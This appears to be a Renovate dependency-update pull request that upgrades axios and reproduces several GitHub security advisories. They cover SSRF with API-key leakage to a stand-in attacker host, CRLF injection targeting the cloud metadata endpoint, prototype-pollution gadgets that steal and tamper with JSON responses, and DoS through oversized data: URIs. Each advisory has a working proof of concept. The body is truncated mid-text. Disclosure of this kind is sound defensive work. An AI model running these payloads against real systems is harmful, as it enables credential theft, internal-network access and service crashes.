Malicious config	`JSON.parse('{"__proto__": {"x": 1}}')`	CRASH
Nested object	`{"headers": {"X-Test": "value"}}`	SUCCESS

Attack scenario:
An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"__proto__": {"x": 1}}.

Impact

Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.

Affected environments:

Node.js servers using axios for HTTP requests
Any backend that passes parsed JSON to axios configuration

This is NOT prototype pollution - the application crashes before any assignment occurs.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL

More information

Details

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

importaxiosfrom"axios";constinternalAPIClient=axios.create({baseURL: "http://example.test/api/v1/users/",headers: {"X-API-KEY": "1234567890",},});// const userId = "123";constuserId="http://attacker.test/";awaitinternalAPIClient.get(userId);// SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

Set up two simple HTTP servers:

mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &

Create a script (e.g., main.js):

importaxiosfrom"axios";constclient=axios.create({baseURL: "http://localhost:10001/"});constresponse=awaitclient.get("http://localhost:10002/");console.log(response.data);

Run the script:

$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

Severity

CVSS Score: 7.7 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

More information

Details

Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

Summary

The Axios library is vulnerable to a specific gadget-style attack chain in which prototype pollution in a third-party dependency may be leveraged to inject unsanitized header values into outbound requests.

Axios can be used as a gadget after pollution occurs elsewhere because header values merged from attacker-controlled prototype properties are not sanitized for CRLF (\r\n) characters before being written to the request. In affected deployments, this may enable limited request manipulation or metadata access as part of a higher-complexity exploit chain.

Severity: Moderate (CVSS 3.1 Base Score: 4.8)
Affected Versions: All versions (v0.x - v1.x)
Vulnerable Component: lib/adapters/http.js (Header Processing)

Usage of "Helper" Vulnerabilities

This issue requires a separate prototype pollution vulnerability in another library in the application stack (for example, qs, minimist, ini, or body-parser). If an attacker can pollute Object.prototype, Axios may pick up the polluted properties during config merge.

Because Axios does not sanitise these merged header values for CRLF (\r\n) characters, the polluted property can alter the structure of an outbound HTTP request.

Proof of Concept

1. The Setup (Simulated Pollution)

Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:

Object.prototype['x-amz-target']= \"dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore\";

2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

// This looks safe to the developerawaitaxios.get('https://analytics.internal/pings');

3. The Execution

Axios merges the prototype property x-amz-target into the request headers. It then writes the header value directly to the socket without validation.

Resulting HTTP traffic:

GET /pings HTTP/1.1Host: analytics.internalx-amz-target: dummyPUT /latest/api/token HTTP/1.1Host: 169.254.169.254X-aws-ec2-metadata-token-ttl-seconds: 21600GET /ignore HTTP/1.1...

4. The Impact

In environments where requests can reach cloud metadata endpoints or sensitive internal services, the injected header content may help bypass expected request constraints and expose limited credentials or modify request semantics. This impact depends on application context and a separate prototype-pollution primitive.

Impact Analysis

Confidentiality: May expose limited sensitive information in affected network environments.
Integrity: May allow modification of outbound request structure or injected headers.
Attack Complexity: Exploitation requires a separate prototype-pollution vulnerability and a reachable target service.

Recommended Fix

Validate all header values in lib/adapters/http.js and xhr.js before passing them to the underlying request function.

Patch Suggestion:

// In lib/adapters/http.jsutils.forEach(requestHeaders,functionsetRequestHeader(val,key){if(/[\r\n]/.test(val)){thrownewError('Security: Header value contains invalid characters');}// ... proceed to set header});

References

OWASP: CRLF Injection (CWE-113)

This report was generated as part of a security audit of the Axios library.

Severity

CVSS Score: 4.8 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF

More information

Details

Axios does not correctly handle hostname normalization when checking NO_PROXY rules.
Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NO_PROXY matching and go through the configured proxy.

This goes against what developers expect and lets attackers force requests through a proxy, even if NO_PROXY is set up to protect loopback or internal services.

According to RFC 1034 §3.1 and RFC 3986 §3.2.2, a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, localhost. is the same as localhost.
However, Axios does a literal string comparison instead of normalizing hostnames before checking NO_PROXY. This causes requests like http://localhost.:8080/ and http://[::1]:8080/ to be incorrectly proxied.

This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.

PoC

importhttpfrom"http";importaxiosfrom"axios";constproxyPort=5300;http.createServer((req,res)=>{console.log("[PROXY] Got:",req.method,req.url,"Host:",req.headers.host);res.writeHead(200,{"Content-Type": "text/plain"});res.end("proxied");}).listen(proxyPort,()=>console.log("Proxy",proxyPort));process.env.HTTP_PROXY=`http://127.0.0.1:${proxyPort}`;process.env.NO_PROXY="localhost,127.0.0.1,::1";asyncfunctiontest(url){try{awaitaxios.get(url,{timeout: 2000});}catch{}}setTimeout(async()=>{console.log("\n[*] Testing http://localhost.:8080/");awaittest("http://localhost.:8080/");// goes through proxyconsole.log("\n[*] Testing http://[::1]:8080/");awaittest("http://[::1]:8080/");// goes through proxy},500);

Expected: Requests bypass the proxy (direct to loopback).
Actual: Proxy logs requests for localhost. and [::1].

Impact

Applications that rely on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access are vulnerable.
Attackers controlling request URLs can:
- Force Axios to send local traffic through an attacker-controlled proxy.
- Bypass SSRF mitigations relying on NO_PROXY rules.
- Potentially exfiltrate sensitive responses from internal services via the proxy.

Affected Versions

Confirmed on Axios 1.12.2 (latest at time of testing).
affects all versions that rely on Axios’ current NO_PROXY evaluation.

Remediation
Axios should normalize hostnames before evaluating NO_PROXY, including:

Strip trailing dots from hostnames (per RFC 3986).
Normalize IPv6 literals by removing brackets for matching.

Severity

CVSS Score: 6.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Header Injection via Prototype Pollution

More information

Details

Summary

A prototype pollution gadget exists in the Axios HTTP adapter (lib/adapters/http.js) that allows an attacker to inject arbitrary HTTP headers into outgoing requests. The vulnerability exploits duck-type checking of the data payload, where if Object.prototype is polluted with getHeaders, append, pipe, on, once, and Symbol.toStringTag, Axios misidentifies any plain object payload as a FormData instance and calls the attacker-controlled getHeaders() function, merging the returned headers into the outgoing request.

The vulnerable code resides exclusively in lib/adapters/http.js. The prototype pollution source does not need to originate from Axios itself — any prototype pollution primitive in any dependency in the application's dependency tree is sufficient to trigger this gadget.

Prerequisites:

A prototype pollution primitive must exist somewhere in the application's dependency chain (e.g., via lodash.merge, qs, JSON5, or any deep-merge utility processing attacker-controlled input). The pollution source is not required to be in Axios.
The application must use Axios to make HTTP requests with a data payload (POST, PUT, PATCH).

Details

The vulnerability is in lib/adapters/http.js, in the data serialization pipeline:

// lib/adapters/http.js }elseif(utils.isFormData(data)&&utils.isFunction(data.getHeaders)){headers.set(data.getHeaders());// ...}

Axios uses two sequential duck-type checks, both of which can be satisfied via prototype pollution:

1. utils.isFormData(data) — lib/utils.js

constisFormData=(thing)=>{letkind;returnthing&&((typeofFormData==='function'&&thinginstanceofFormData)||(isFunction(thing.append)&&((kind=kindOf(thing))==='formdata'||(kind==='object'&&isFunction(thing.toString)&&thing.toString()==='[object FormData]'))))}

2. utils.isFunction(data.getHeaders) — Duck-type for form-data npm package

// Returns true if Object.prototype.getHeaders is a functionutils.isFunction(data.getHeaders)

PoC

// Simulate Prototype PollutionObject.prototype[Symbol.toStringTag]='FormData';Object.prototype.append=()=>{};Object.prototype.getHeaders=()=>{constheaders=Object.create(null);(....Introduceherealltheheadersyouwant....)returnheaders;};Object.prototype.pipe=function(d){if(d&&d.end)d.end();returnd;};Object.prototype.on=function(){returnthis;};Object.prototype.once=function(){returnthis;};// Legitimate application codeconstresponse=awaitaxios.post('https://internal-api.company.com/admin/delete',{userId: 42},{headers: {'Authorization': 'Bearer VALID_USER_TOKEN'}});

Impact

Authentication Bypass (CVSS: C:H)
Session Fixation (CVSS: I:H)
Privilege Escalation (CVSS: C:H, I:H)
IP Spoofing / WAF Bypass (CVSS: I:H)

Note on Scope: There is an argument to promote this from S:U to S:C (Scope: Changed), which would raise the score to 10.0. In some architectures, Axios is commonly used for service to service communication where downstream services trust identity headers (Authorization, X-Role, X-User-ID, X-Tenant-ID) forwarded from upstream API gateways. In this scenario, the vulnerable component (Axios in Service A) and the impacted component (Service B, which acts on the injected identity) are under different security authorities. The injected headers cross a trust boundary, meaning the impact extends beyond the security scope of the vulnerable component, the CVSS v3.1 definition of a Scope Change. We conservatively score S:U here, but maintainers should evaluate which one applies better here.

Recommended Fix

Add an explicit own-property check in lib/adapters/http.js:

- } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) {- headers.set(data.getHeaders());+ } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders) &&+ Object.prototype.hasOwnProperty.call(data, 'getHeaders')) {+ headers.set(data.getHeaders());

Severity

CVSS Score: 7.4 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

More information

Details

Vulnerability Disclosure: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

Summary

The encode() function in lib/helpers/AxiosURLSearchParams.js contains a character mapping (charMap) at line 21 that reverses the safe percent-encoding of null bytes. After encodeURIComponent('\x00') correctly produces the safe sequence %00, the charMap entry '%00': '\x00' converts it back to a raw null byte.

This is a clear encoding defect: every other charMap entry encodes in the safe direction (literal → percent-encoded), while this single entry decodes in the opposite (dangerous) direction.

Severity: Low (CVSS 3.7)
Affected Versions: All versions containing this charMap entry
Vulnerable Component:lib/helpers/AxiosURLSearchParams.js:21

CWE

CWE-626: Null Byte Interaction Error (Poison Null Byte)
CWE-116: Improper Encoding or Escaping of Output

CVSS 3.1

Score: 3.7 (Low)

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Metric	Value	Justification
Attack Vector	Network	Attacker controls input parameters remotely
Attack Complexity	High	Standard axios request flow (`buildURL`) uses its own `encode` function which does NOT have this bug. Only triggered via direct `AxiosURLSearchParams.toString()` without an encoder, or via custom `paramsSerializer` delegation
Privileges Required	None	No authentication needed
User Interaction	None	No user interaction required
Scope	Unchanged	Impact limited to HTTP request URL
Confidentiality	None	No confidentiality impact
Integrity	Low	Null byte in URL can cause truncation in C-based backends, but requires a vulnerable downstream parser
Availability	None	No availability impact

Vulnerable Code

File:lib/helpers/AxiosURLSearchParams.js, lines 13-26

functionencode(str){constcharMap={'!': '%21',// literal → encoded (SAFE direction)"'": '%27',// literal → encoded (SAFE direction)'(': '%28',// literal → encoded (SAFE direction)')': '%29',// literal → encoded (SAFE direction)'~': '%7E',// literal → encoded (SAFE direction)'%20': '+',// standard transformation (SAFE)'%00': '\x00',// LINE 21: encoded → raw null byte (UNSAFE direction!)};returnencodeURIComponent(str).replace(/[!'()~]|%20|%00/g,functionreplacer(match){returncharMap[match];});}

Why the Standard Flow Is NOT Affected

// buildURL.js:36 — uses its OWN encode function (lines 14-20), not AxiosURLSearchParams'sconst_encode=(options&&options.encode)||encode;// buildURL's encode// buildURL.js:53 — passes buildURL's encode to AxiosURLSearchParamsnewAxiosURLSearchParams(params,_options).toString(_encode);// external encoder used// AxiosURLSearchParams.js:48 — when encoder is provided, internal encode is NOT usedconst_encode=encoder ? function(value){returnencoder.call(this,value,encode);} : encode;// ^^^^^^// internal encode passed as 2nd arg but only used if// the external encoder explicitly delegates to it

Proof of Concept

importAxiosURLSearchParamsfrom'./lib/helpers/AxiosURLSearchParams.js';importbuildURLfrom'./lib/helpers/buildURL.js';// Test 1: Direct AxiosURLSearchParams (VULNERABLE path)constparams=newAxiosURLSearchParams({file: 'test\x00.txt'});constresult=params.toString();// NO encoder → uses internal encode with charMapconsole.log('Direct toString():',JSON.stringify(result));// Output: "file=test\u0000.txt" (contains raw null byte)console.log('Hex:',Buffer.from(result).toString('hex'));// Output: 66696c653d74657374002e747874 (00 = null byte)// Test 2: Via buildURL (NOT vulnerable — standard axios flow)consturl=buildURL('http://example.com/api',{file: 'test\x00.txt'});console.log('Via buildURL:',url);// Output: http://example.com/api?file=test%00.txt (%00 preserved safely)

Verified PoC Output

Direct toString(): "file=test\u0000.txt"
Contains raw null byte: true
Hex: 66696c653d74657374002e747874
Via buildURL: http://example.com/api?file=test%00.txt
Contains raw null byte: false
Contains safe %00: true

Impact Analysis

Primary impact is limited because the standard axios request flow is not affected. However:

Direct API users: Applications using AxiosURLSearchParams directly for custom serialization are affected
Custom paramsSerializer: A paramsSerializer.encode that delegates to the internal encoder triggers the bug
Code defect signal: The directional inconsistency in charMap is a clear coding error with no legitimate use case

If null bytes reach a downstream C-based parser, impacts include URL truncation, WAF bypass, and log injection.

Recommended Fix

Remove the %00 entry from charMap and update the regex:

functionencode(str){constcharMap={'!': '%21',"'": '%27','(': '%28',')': '%29','~': '%7E','%20': '+',// REMOVED: '%00': '\x00'};returnencodeURIComponent(str).replace(/[!'()~]|%20/g,functionreplacer(match){// ^^^^ removed |%00returncharMap[match];});}

Resources

Timeline

Date	Event
2026-04-15	Vulnerability discovered during source code audit
2026-04-16	Report revised: documented standard-flow limitation, corrected CVSS
TBD	Report submitted to vendor via GitHub Security Advisory

Severity

CVSS Score: 3.7 / 10 (Low)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: HTTP adapter streamed responses bypass maxContentLength

More information

Details

Summary

When responseType: 'stream' is used, Axios returns the response stream without enforcing maxContentLength. This bypasses configured response-size limits and allows unbounded downstream consumption.

Details

In lib/adapters/http.js:

786-789: for responseType === 'stream', Axios immediately settles with the stream.
797-810: maxContentLength enforcement exists only in the non-stream buffering branch.

So callers may set maxContentLength and still receive/read arbitrarily large streamed responses.

PoC

Environment:

Axios main at commit f7a4ee2
Node v24.2.0

Steps:

Start an HTTP server that returns a 2 MiB response body.
Call Axios with:
- adapter: 'http'
- responseType: 'stream'
- maxContentLength: 1024
Read the returned stream fully.

Observed:

Success; full 2097152 bytes readable.

Control check:

Same endpoint with responseType: 'text' and same maxContentLength: rejected with maxContentLength size of 1024 exceeded.

Impact

Type: DoS / unbounded response processing.
Impacted: Node.js applications relying on maxContentLength as a safety boundary while using streamed Axios responses.

Severity

CVSS Score: 5.3 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`

More information

Details

Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into surgical, invisible modification of all JSON API responses — including privilege escalation, balance manipulation, and authorization bypass.

The default transformResponse function at lib/defaults/index.js:124 calls JSON.parse(data, this.parseReviver), where this is the merged config object. Because parseReviver is not present in Axios defaults, not validated by assertOptions, and not subject to any constraints, a polluted Object.prototype.parseReviver function is called for every key-value pair in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact.

This is strictly more powerful than the transformResponse gadget because:

No constraints — the reviver can return any value (no "must return true" requirement)
Selective modification — individual JSON keys can be changed while others remain untouched
Invisible — the response structure and most values look completely normal
Simultaneous exfiltration — the reviver sees the original values before modification

Severity: Critical (CVSS 9.1)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component:lib/defaults/index.js:124 (JSON.parse with prototype-inherited reviver)

CWE

CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

CVSS 3.1

Score: 9.1 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Metric	Value	Justification
Attack Vector	Network	PP is triggered remotely via any vulnerable dependency
Attack Complexity	Low	Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology
Privileges Required	None	No authentication needed
User Interaction	None	No user interaction required
Scope	Unchanged	Within the application process
Confidentiality	High	The reviver receives every key-value pair from every JSON response — full data exfiltration. In the PoC, `apiKey: "sk-secret-internal-key"` is captured
Integrity	High	Arbitrary, selective modification of any JSON value. No constraints. In the PoC, `isAdmin: false → true`, `role: "viewer" → "admin"`, `balance: 100 → 999999`. The response looks completely normal except for the surgically altered values
Availability	None	No crash, no error — the attack is entirely silent

Comparison with All Known Axios PP Gadgets

Factor	GHSA-fvcv-3m26-pcqx (Header Injection)	transformResponse	proxy (MITM)	parseReviver (This)
PP target	`Object.prototype['header']`	`Object.prototype.transformResponse`	`Object.prototype.proxy`	`Object.prototype.parseReviver`
Fixed by 1.15.0?	Yes	No	No	No
Constraints	N/A (fixed)	Must return `true`	None	None
Data modification	Header injection only	Response replaced with `true`	Full MITM	Selective per-key modification
Stealth	Request anomaly visible	Response becomes `true` (obvious)	Proxy visible in network	Completely invisible
Data access	Headers only	`this.auth` + raw response	All traffic	Every JSON key-value pair
Validated?	N/A	`assertOptions` validates	Not validated	Not validated
In defaults?	N/A	Yes → goes through mergeConfig	No → bypasses mergeConfig	No → bypasses mergeConfig

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), the polluted parseReviver function is automatically used by every Axios request that receives a JSON response. The developer's code is completely safe — no configuration errors needed.

Root Cause Analysis

The Attack Path

Object.prototype.parseReviver = function(key, value) { /* malicious */ }
│
▼
mergeConfig(defaults, userConfig)
│
│ parseReviver NOT in defaults → NOT iterated by mergeConfig
│ parseReviver NOT in userConfig → NOT iterated by mergeConfig
│ Merged config has NO own parseReviver property
│
▼
transformData.call(config, config.transformResponse, response)
│
│ Default transformResponse function runs (NOT overridden)
│
▼
defaults/index.js:124: JSON.parse(data, this.parseReviver)
│
│ this = config (merged config object, plain {})
│ config.parseReviver → NOT own property → traverses prototype chain
│ → finds Object.prototype.parseReviver → attacker's function!
│
▼
JSON.parse calls reviver for EVERY key-value pair
│
│ Attacker can: read original value, modify it, return anything
│ No validation, no constraints, no assertOptions check
│
▼
Application receives surgically modified JSON response

Why `parseReviver` Bypasses ALL Existing Protections

Not in defaults (lib/defaults/index.js): parseReviver is not defined in the defaults object, so mergeConfig's Object.keys({...defaults, ...userConfig}) iteration never encounters it. The merged config has no own parseReviver property.
Not in assertOptions schema (lib/core/Axios.js:135-142): The schema only contains {baseUrl, withXsrfToken}. parseReviver is not validated.
No type check: The JSON.parse API accepts any function as a reviver. There is no check that this.parseReviver is intentionally set.
Works INSIDE the default transform: Unlike transformResponse pollution (which replaces the entire transform and is caught by assertOptions), parseReviver pollution injects into the DEFAULT transformResponse function's JSON.parse call. The default function itself is not replaced, so assertOptions has nothing to catch.

Vulnerable Code

File:lib/defaults/index.js, line 124

transformResponse: [functiontransformResponse(data){// ... transitional checks ...if(data&&utils.isString(data)&&((forcedJSONParsing&&!this.responseType)||JSONRequested)){// ...try{returnJSON.parse(data,this.parseReviver);// ^^^^^^^^^^^^^^^^^// this = config// config.parseReviver → prototype chain → attacker's function}catch(e){// ...}}returndata;},],

Proof of Concept

importhttpfrom'http';importaxiosfrom'./index.js';// Server returns a realistic authorization responseconstserver=http.createServer((req,res)=>{res.writeHead(200,{'Content-Type': 'application/json'});res.end(JSON.stringify({user: 'john',role: 'viewer',isAdmin: false,canDelete: false,balance: 100,permissions: ['read'],apiKey: 'sk-secret-internal-key',}));});awaitnewPromise(r=>server.listen(0,r));constport=server.address().port;// === Before Pollution ===constbefore=awaitaxios.get(`http://127.0.0.1:${port}/api/me`);console.log('Before:',JSON.stringify(before.data));// {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,"balance":100,...}// === Simulate Prototype Pollution ===letstolen={};Object.prototype.parseReviver=function(key,value){// Silently capture all original valuesif(key&&typeofvalue!=='object')stolen[key]=value;// Surgically modify specific valuesif(key==='isAdmin')returntrue;// false → trueif(key==='role')return'admin';// viewer → adminif(key==='canDelete')returntrue;// false → trueif(key==='balance')return999999;// 100 → 999999returnvalue;// everything else unchanged};// === After Pollution — same code, same URL ===constafter=awaitaxios.get(`http://127.0.0.1:${port}/api/me`);console.log('After: ',JSON.stringify(after.data));// {"user":"john","role":"admin","isAdmin":true,"canDelete":true,"balance":999999,...}console.log('Stolen:',JSON.stringify(stolen));// {"user":"john","role":"viewer","isAdmin":false,...,"apiKey":"sk-secret-internal-key"}deleteObject.prototype.parseReviver;server.close();

Verified PoC Output

[1] Normal request (before pollution):
response.data: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
"balance":100,"permissions":["read"],"apiKey":"sk-secret-internal-key"}
isAdmin: false
role: viewer
[2] Prototype Pollution: Object.prototype.parseReviver
Polluted with selective value modifier
[3] Same request (after pollution):
response.data: {"user":"john","role":"admin","isAdmin":true,"canDelete":true,
"balance":999999,"permissions":["read","write","delete","admin"],
"apiKey":"sk-secret-internal-key"}
isAdmin: true (was: false)
role: admin (was: viewer)
canDelete: true (was: false)
balance: 999999 (was: 100)
[4] Exfiltrated data (stolen silently):
apiKey: sk-secret-internal-key
All captured: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
"balance":100,"apiKey":"sk-secret-internal-key"}
[5] Why this bypasses all checks:
parseReviver in defaults? NO
parseReviver in assertOptions schema? NO
parseReviver validated anywhere? NO
Must return true? NO — can return ANY value
Replaces entire transform? NO — works INSIDE default JSON.parse

Impact Analysis

1. Authorization / Privilege Escalation

// Server returns: {"role":"viewer","isAdmin":false}// Application sees: {"role":"admin","isAdmin":true}// → Application grants admin access to unprivileged user

2. Financial Manipulation

// Server returns: {"balance":100,"approved":false}// Application sees: {"balance":999999,"approved":true}// → Application approves a transaction that should be rejected

3. Security Control Bypass

// Server returns: {"mfaRequired":true,"accountLocked":true}// Application sees: {"mfaRequired":false,"accountLocked":false}// → Application skips MFA and unlocks a locked account

4. Silent Data Exfiltration

The reviver function receives the original value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally.

5. Universal and Invisible

Affects every Axios request that receives a JSON response
The response structure is intact — only specific values are changed
No errors, no crashes, no suspicious behavior
Application logs show normal-looking API responses with tampered values

Recommended Fix

Fix 1: Use `hasOwnProperty` check before using `parseReviver`

// FIXED: lib/defaults/index.jsconstreviver=Object.prototype.hasOwnProperty.call(this,'parseReviver')
? this.parseReviver
: undefined;returnJSON.parse(data,reviver);

Fix 2: Use null-prototype config object

// In lib/core/mergeConfig.jsconstconfig=Object.create(null);

Fix 3: Validate `parseReviver` type and source

// FIXED: lib/defaults/index.jsconstreviver=(typeofthis.parseReviver==='function'&&Object.prototype.hasOwnProperty.call(this,'parseReviver'))
? this.parseReviver
: undefined;returnJSON.parse(data,reviver);

Relationship to Other Reported Gadgets

This vulnerability shares the same root cause class — unsafe prototype chain traversal on the merged config object — with two other reported gadgets:

Report	PP Target	Code Location	Fix Location	Impact
axios_26	`transformResponse`	`mergeConfig.js:49` (defaultToConfig2)	`mergeConfig.js`	Credential theft, response replaced with `true`
axios_30	`proxy`	`http.js:670` (direct property access)	`http.js`	Full MITM, traffic interception
axios_31 (this)	`parseReviver`	`defaults/index.js:124` (this.parseReviver)	`defaults/index.js`	Selective JSON value tampering + data exfiltration

Why These Are Distinct Vulnerabilities

**Different polluted properties

✂ Note
PR body was truncated to here.

renovate · 2025-09-14T00:11:37Z

ℹ️ Note
This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
axios (source)	`1.7.7` → `1.18.0`

Axios is vulnerable to DoS attack through lack of data size check

More information

Details

Summary

When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.

Details

The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.

Relevant code from [httpAdapter](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):

constfullPath=buildFullPath(config.baseURL,config.url,config.allowAbsoluteUrls);constparsed=newURL(fullPath,platform.hasBrowserEnv ? platform.origin : undefined);constprotocol=parsed.protocol||supportedProtocols[0];if(protocol==='data:'){letconvertedData;if(method!=='GET'){returnsettle(resolve,reject,{status: 405, ... });}convertedData=fromDataURI(config.url,responseType==='blob',{Blob: config.env&&config.env.Blob});returnsettle(resolve,reject,{data: convertedData,status: 200, ... });}

The decoder is in [lib/helpers/fromDataURI.js](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):

exportdefaultfunctionfromDataURI(uri,asBlob,options){
...
if(protocol==='data'){uri=protocol.length ? uri.slice(protocol.length+1) : uri;constmatch=DATA_URL_PATTERN.exec(uri);
...
constbody=match[3];constbuffer=Buffer.from(decodeURIComponent(body),isBase64 ? 'base64' : 'utf8');if(asBlob){returnnew_Blob([buffer],{type: mime});}returnbuffer;}thrownewAxiosError('Unsupported protocol '+protocol, ...);}

The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.

In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.

PoC

constaxios=require('axios');asyncfunctionmain(){// this example decodes ~120 MBconstbase64Size=160_000_000;// 120 MB after decodingconstbase64='A'.repeat(base64Size);consturi='data:application/octet-stream;base64,'+base64;console.log('Generating URI with base64 length:',base64.length);constresponse=awaitaxios.get(uri,{responseType: 'arraybuffer'});console.log('Received bytes:',response.data.length);}main().catch(err=>{console.error('Error:',err.message);});

Run with limited heap to force a crash:

node --max-old-space-size=100 poc.js

Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:

<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…

Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.

importexpressfrom"express";importmorganfrom"morgan";importaxiosfrom"axios";importhttpfrom"node:http";importhttpsfrom"node:https";import{PassThrough}from"node:stream";constkeepAlive=true;consthttpAgent=newhttp.Agent({ keepAlive,maxSockets: 100});consthttpsAgent=newhttps.Agent({ keepAlive,maxSockets: 100});constaxiosClient=axios.create({timeout: 10000,maxRedirects: 5,
